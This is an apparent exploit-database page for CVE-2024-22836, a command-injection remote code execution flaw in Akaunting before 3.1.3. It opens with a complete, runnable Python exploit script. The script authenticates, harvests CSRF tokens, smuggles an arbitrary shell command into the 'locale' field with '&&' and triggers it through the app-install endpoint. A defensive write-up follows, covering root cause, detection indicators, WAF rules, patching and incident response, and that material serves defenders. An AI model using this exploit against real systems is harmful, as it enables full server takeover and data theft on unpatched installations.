Akaunting < 3.1.3 - RCE

Exploit Author: u32i Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-03-10
# Exploit Title: Akaunting < 3.1.3 - RCE
# Date: 08/02/2024
# Exploit Author: u32i@proton.me
# Vendor Homepage: https://akaunting.com
# Software Link: https://github.com/akaunting/akaunting
# Version: <= 3.1.3
# Tested on: Ubuntu (22.04)
# CVE : CVE-2024-22836

#!/usr/bin/python3

import sys
import re
import requests
import argparse

def get_company():
# print("[INF] Retrieving company id...")
res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)
if res.status_code != 302:
print("[ERR] No company id was found!")
sys.exit(3)
cid = res.headers['Location'].split('/')[-1]
if cid == "login":
print("[ERR] Invalid session cookie!")
sys.exit(7)
return cid

def get_tokens(url):
res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)
search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text)

if not search_res:
print("[ERR] Couldn't get csrf token")
sys.exit(1)

data = {}
data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '')
data['session'] = res.cookies.get('akaunting_session')
return data

def inject_command(cmd):
url = f"{target}/{company_id}/wizard/companies"
tokens = get_tokens(url)
headers.update({"X-Csrf-Token": tokens['csrf_token']})
data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"}
res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
if res.status_code == 200:
res_data = res.json()
if res_data['error']:
print("[ERR] Command injection failed!")
sys.exit(4)
print("[INF] Command injected!")


def trigger_rce(app, version = "1.0.0"):
print("[INF] Executing the command...")
url = f"{target}/{company_id}/apps/install"
data = {"alias": app, "version": version, "path": f"apps/{app}/download"}
headers.update({"Content-Type":"application/json"})
res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
if res.status_code == 200:
res_data = res.json()
if res_data['error']:
search_res = re.search(r">Exit Code\:.*<", res_data['message'])
if search_res:
print("[ERR] Failed to execute the command")
sys.exit(6)
print("[ERR] Failed to install the app! no command was executed!")
sys.exit(5)
print("[INF] Executed successfully!")

def login(email, password):
url = f"{target}/auth/login"
tokens = get_tokens(url)

cookies.update({
'akaunting_session': tokens['session']
})

data = {
"_token": tokens['csrf_token'],
"_method": "POST",
"email": email,
"password": password
}

req = requests.post(url, headers=headers, cookies=cookies, data=data)
res = req.json()
if res['error']:
print("[ERR] Failed to log in!")
sys.exit(8)

print("[INF] Logged in")
cookies.update({'akaunting_session': req.cookies.get('akaunting_session')})

def main():
inject_command(args.command)
trigger_rce(args.alias, args.version)

if __name__=='__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="target url")
parser.add_argument("--email", help="user login email.")
parser.add_argument("--password", help="user login password.")
parser.add_argument("-i", "--id", type=int, help="company id (optional).")
parser.add_argument("-c", "--command", help="command to execute.")
parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard")
parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2")

args = parser.parse_args()

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"}
cookies = {}
target = args.url

try:
login(args.email, args.password)
company_id = get_company() if not args.id else args.id
main()
except:
sys.exit(0)


Akaunting < 3.1.3 — Remote Code Execution (CVE-2024-22836)

This article explains the CVE-2024-22836 vulnerability affecting Akaunting versions prior to 3.1.3, the underlying cause, attacker prerequisites, potential impact, and safe, actionable guidance for defenders: patching, detection, mitigation, and incident response. The goal is to provide clear, practical guidance for administrators and security teams while avoiding actionable exploit instruction.

Executive summary

  • Vulnerability type: Authenticated remote code execution (RCE) via unsafely handled user input.
  • Affected software: Akaunting versions < 3.1.3.
  • CVE: CVE-2024-22836.
  • Impact: Full server compromise when exploited by an authenticated user with sufficient privileges; data theft, persistence, and lateral movement are possible.
  • Remediation: Upgrade Akaunting to 3.1.3 or later and apply defensive mitigations (WAF, least privilege, logging).

Vulnerability background and root cause (high-level)

The vulnerability stems from server-side handling of user-supplied parameters that are later used in an execution context without proper validation or sanitization. In web applications built on frameworks such as Laravel, mixing user input into shell/OS calls, or into application code paths that interpret command operators, can allow injection of additional commands. When such inputs are reachable by an authenticated user (or a user with specific roles), an attacker can escalate to remote command execution on the host.

Attack prerequisites and likely threat vectors

  • Authentication: An attacker needs a valid authenticated session (a legitimate account). The vulnerability is not purely anonymous — it requires an account able to reach the vulnerable code path.
  • Privileges: The specific privilege set required can vary depending on the application workflow; administrative or setup/wizard capabilities increase exploitation likelihood.
  • Exposure: Internet-facing Akaunting instances with unpatched versions are at risk, especially if they are reachable by accounts that can perform configuration or installation tasks.

Potential impact

  • Arbitrary command execution on the web server process user (web server compromise).
  • Data exfiltration (database and uploaded files), service disruption, ransomware deployment, and creation of persistent backdoors.
  • Privilege escalation: attackers often leverage RCE to attempt local privilege escalation to root.

Technical analysis (non-actionable)

At a high level, the vulnerability arises when a text input controlled by a user is concatenated into an execution context or another interpreter-sensitive context, without neutralizing shell metacharacters, logical operators, or other special tokens. The vulnerable pattern typically follows:

// Unsafe pattern (illustrative, non-exploitable here)
// Concatenating unchecked input into an execution-style context
$unsafe = $_POST['user_value'];
exec("some-command " . $unsafe);

Why this is unsafe: when application code or dependent libraries pass unsanitized strings into contexts that are interpreted by the shell, or interpreted again by the application as commands, an attacker can inject additional tokens that alter flow and run arbitrary commands.

Safe development practices instead avoid passing raw user input to interpreters or shell commands and prefer parameterized invocations or framework features that do not spawn a shell. For example, using process APIs with argument arrays prevents shell interpretation:

// Safer pattern using a process API (pseudo-code)
use Symfony\Component\Process\Process;

$cmd = ['some-command', $userControlledValue]; // arguments are separate
$process = new Process($cmd);
$process->run();

if (!$process->isSuccessful()) {
    // handle error
}

Explanation: Passing command and arguments as an array ensures the underlying runtime invokes the program directly without passing through a shell parser, which substantially reduces command injection risk. Additionally, always validate and whitelist allowable values when possible.

Detection and hunting

To discover potential exploitation or attempts against Akaunting instances, focus on the following telemetry sources:

  • Web server access logs: look for authenticated POST requests to configuration, wizard, or app-install endpoints followed by unusual responses or 4xx/5xx spikes.
  • Application logs: errors or stack traces that reference unexpected exit codes, subprocess failures, or execution exceptions.
  • Process and system logs: unexpected child processes, unusual outbound network connections, or cron entries created by web user.
  • Intrusion detection: WAF/IDS alerts for suspicious characters in parameters (&&, ;, |, backticks) in requests originating from authenticated accounts.
Indicator Why it matters
Authenticated POST to setup/install endpoints Exploit attempts commonly use configuration/install flows to reach vulnerable code paths
Unexpected child processes owned by web server user Sign of remote command execution
New files or binaries in webroot or /tmp Persistence or webshell attempts

Mitigation and remediation

  • Patch immediately: Upgrade Akaunting to version 3.1.3 or later. This is the single most effective mitigation.
  • Restrict accounts: Enforce least privilege: limit which accounts can perform setup, installation, or configuration tasks.
  • Network controls: Restrict administrative access to the application via VPN or IP allowlists where feasible.
  • WAF rules: Deploy WAF rules that block suspicious characters or sequences in parameters, particularly on wizard, apps/install, or configuration endpoints. Use rules that focus on authenticated sessions to minimize false positives.
  • Runtime hardening: Run web applications under restricted users and use containerization or process isolation to limit blast radius. Ensure file system permissions prevent web processes from writing to sensitive locations.
  • Logging & monitoring: Increase logging around sensitive endpoints and alert on anomalous behavior (sudden downloads, binary creation, or outbound connections).

Incident response checklist (if compromise suspected)

  • Isolate the affected host from the network to prevent lateral movement.
  • Collect volatile evidence (process list, open connections, memory images) and preserve logs.
  • Rotate credentials used by the application and any service accounts that may have been exposed.
  • Perform a thorough filesystem and process analysis to identify webshells, new binaries, or persistence mechanisms.
  • Restore from clean backups if integrity cannot be assured and re-deploy the application after patching to the latest version.
  • Consider a full forensic investigation if the environment holds sensitive financial or personal data.

Secure development and hardening recommendations

  • Avoid shelling out to the OS when possible. Use language-native APIs or libraries that do not invoke a shell.
  • When executing external processes, pass arguments as arrays (no shell interpolation) and do not concatenate unchecked user input into commands.
  • Implement strict input validation and whitelisting for configuration fields that will be used in critical code paths.
  • Perform regular dependency, SAST, and DAST scans; include authenticated scans that exercise privileged workflows.
  • Adopt strong logging, alerting, and periodic penetration testing focused on application logic and setup flows.

Timeline and resources

Item Details
CVE CVE-2024-22836
Vendor Akaunting (https://akaunting.com) — check official advisories and release notes
Action Upgrade to Akaunting 3.1.3 or later and follow the mitigation steps above

Summary and final recommendations

CVE-2024-22836 demonstrates how user-controllable input in administration or installation workflows can have severe consequences if it reaches an execution context. Defenders should prioritize patching affected Akaunting instances, harden access to administrative functionality, and apply layered detection and containment controls. Proper coding practices — avoiding shell interpolation of user input and using argumentized process invocation — combined with operational controls (least privilege, WAFs, logging) will reduce the risk of similar vulnerabilities.

If you manage an Akaunting deployment, schedule an immediate maintenance window to upgrade and validate integrity. If you suspect compromise, follow the incident response checklist above and consider engaging a professional forensic team.